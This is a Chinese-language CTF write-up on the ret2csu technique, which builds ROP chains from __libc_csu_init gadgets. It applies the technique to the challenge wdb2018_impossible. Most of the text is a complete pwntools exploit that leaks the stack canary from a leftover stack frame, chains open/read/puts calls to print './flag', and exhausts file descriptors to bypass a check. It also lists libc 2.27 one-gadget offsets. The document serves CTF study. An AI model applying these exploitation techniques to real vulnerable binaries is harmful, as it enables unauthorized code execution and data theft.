前言
__libc_csu_init是64位程序中通用的一个函数,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在,我们要利用其中的gadget
如何寻找init:
或者在start的rcx里
rdi <- main
rcx <- __libc_csu_init //在main函数前执行
r8 <- __libc_csu_fini//在main函数后执行
我们要使用的部分
使用方法:
rbx,rbp,r12,r13,r14,r15 r13–>rdi r14–>rsi r15–>rdx
控制 rbx 为 0,r12 为存储我们想要调用的函数的地址 rbx+1 = rbp, rbx=0, rbp=1
这样我们就不会执行 loc_400600
有时寄存器会有变动,随机应变就好,就好像使用方法和上面的图片对不上一样,因为这是我两道题的笔记
一、wdb2018_impossible
open文件后没有关闭,我们只要耗尽fd,然后就没有读入,然后我们输入\x00就可以过检测了
但由于本题gadget缺少了rdx,所以我们来使用init
def menu(ch):
sea('Guess your option:', str(ch))
def select1(content):
menu(1)
sea('Oh,man.Play with the stack is really dangerous,so u can only play once..', content)
def select2(content, s):
menu(2)
sea('Ok, as u r bored, do something boring to make u more bored...', content)
sea('Satisfied?y/n', s)
def select2_2(content, s):
sea('Ok, as u r bored, do something boring to make u more bored...', content)
sea('Satisfied?y/n', s)
def select3(content):
menu(3)
se(content)
def fun_9011(content):
menu(9011)
sea('Input your secret code:', content)
init1 = 0x400C4A
init2 = 0x400C30
pop_rdi = 0x0000000000400c53 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400c51 # pop rsi ; pop r15 ; ret
bss2 = 0x602080
前置准备
select2('a', 'n')
for i in range(2):
select2_2('a', 'n')
select2_2('a', 'y')
select1('a'*0xa9)
ru('a'*0xa9)
canary = u64(rc(7).rjust(8,'\x00'))
info('canary', canary)
这里是本题最巧妙的地方,通过之前的栈帧留下的canary来泄漏canary,因为栈帧退出之后并不会直接消失,而是等待覆盖,具体的调试一下就可以懂
p = 'a'*0x8 + p64(canary) + 'b'*0x8 + p64(init1)
p += p64(0) + p64(1) + p64(elf.got['open']) + p64(0)*2 + p64(0x602080+0x200)
p += p64(init2) + p64(0)*7
p += p64(init1) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0x200) + p64(bss2+0x300) + p64(0)
p += p64(init2) + p64(0)*7
p += p64(init1) + p64(0) + p64(1) + p64(elf.got['puts']) + p64(0)*2 + p64(bss2+0x300)
p += p64(init2) + p64(0)*7
p = p.ljust(0x200, '\x00')
p += './flag\x00\x00'
select2(p, 'y')
利用init来orw,这里讲一下open的rdi为什么是0而不是3,因为本题最后close(0)了,所以0可以被重新使用
以及为什么要添加p64(0)*7 (0x38)的问题
说白了就是init2执行完之后就会执行init1,然后才会ret,但是init1要add rsp,8,还要pop 6个
所以8+8*6=0x38
for i in range(1024):
fun_9011('\x00')
r.interactive()
最后耗尽fd即可,一般是1024
完整exp:
from pwn import *
from LibcSearcher import *
local_file = './impossible'
local_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3d0d3, 0x3d0d5, 0x3d0d9, 0x3d0e0, 0x67a7f, 0x67a80, 0x137e5e, 0x137e5f]
o_g_32 = [0x3d123, 0x3d125, 0x3d129, 0x3d130, 0x67b4f, 0x67b50, 0x1380be, 0x1380bf]
o_g_old = [0x4f2c5, 0x4f322, 0x10a38c]
o_g = [0x4f365, 0x4f3c2, 0x10a45c]
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(ch):
sea('Guess your option:', str(ch))
def select1(content):
menu(1)
sea('Oh,man.Play with the stack is really dangerous,so u can only play once..', content)
def select2(content, s):
menu(2)
sea('Ok, as u r bored, do something boring to make u more bored...', content)
sea('Satisfied?y/n', s)
def select2_2(content, s):
sea('Ok, as u r bored, do something boring to make u more bored...', content)
sea('Satisfied?y/n', s)
def select3(content):
menu(3)
se(content)
def fun_9011(content):
menu(9011)
sea('Input your secret code:', content)
select2('a', 'n')
for i in range(2):
select2_2('a', 'n')
select2_2('a', 'y')
select1('a'*0xa9)
ru('a'*0xa9)
canary = u64(rc(7).rjust(8,'\x00'))
info('canary', canary)
init1 = 0x400C4A
init2 = 0x400C30
pop_rdi = 0x0000000000400c53 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400c51 # pop rsi ; pop r15 ; ret
bss2 = 0x602080
p = 'a'*0x8 + p64(canary) + 'b'*0x8 + p64(init1)
p += p64(0) + p64(1) + p64(elf.got['open']) + p64(0)*2 + p64(0x602080+0x200)
p += p64(init2) + p64(0)*7
p += p64(init1) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0x200) + p64(bss2+0x300) + p64(0)
p += p64(init2) + p64(0)*7
p += p64(init1) + p64(0) + p64(1) + p64(elf.got['puts']) + p64(0)*2 + p64(bss2+0x300)
p += p64(init2) + p64(0)*7
p = p.ljust(0x200, '\x00')
p += './flag\x00\x00'
select2(p, 'y')
for i in range(1024):
fun_9011('\x00')
r.interactive()